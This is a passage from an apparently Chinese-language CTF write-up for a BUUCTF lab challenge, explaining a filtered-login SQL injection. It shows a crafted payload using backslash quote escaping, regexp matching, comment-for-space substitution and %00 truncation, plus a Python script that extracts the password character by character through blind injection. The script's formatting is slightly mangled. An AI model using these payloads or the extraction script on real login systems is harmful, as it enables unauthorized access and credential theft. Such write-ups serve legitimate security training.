这里有个提示信息,如果passwd的值等于admin的密码则登录成功,但是admin被过滤了,这里可以采用正则表达式来获取密码的值,确定获取密码的方式后确定注入点,我们可以对username中的第二个字符进行转义,使后面的’ and passwd=’成为username的内容。然后最后用%00代替#和–截断
sql语句就变成了
1 2 3 4 5
select * from users where username='\' and passwd='||passwd/**/regexp/**/"^yo";%00' 最后的单引号被截断了,可简化为 select * from users where username='\' and passwd='||passwd/**/regexp/**/"^yo" 同 select * from users where username='\' and passwd=' || passwd/**/regexp/**/"yo"
url = 'http://2869a871-6f5d-4096-93f5-188f1b7be77b.node5.buuoj.cn:81' str = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~ABCDEFGHIJKLMNOPQRSTUVWXYZ' result = '' for i in range(1,200): forchar in str: data = { 'username':'\\', 'passwd':'||/**/passwd/**/regexp/**/\"^'+result+char+'\";'+parse.unquote('%00') #也可以这样'passwd':'||/**/passwd/**/regexp/**/\"^'+result+char+'\";\x00' } r = requests.post(url, data=data) time.sleep(0.01) if'welcome' in r.text: result += char print(result) break else: continue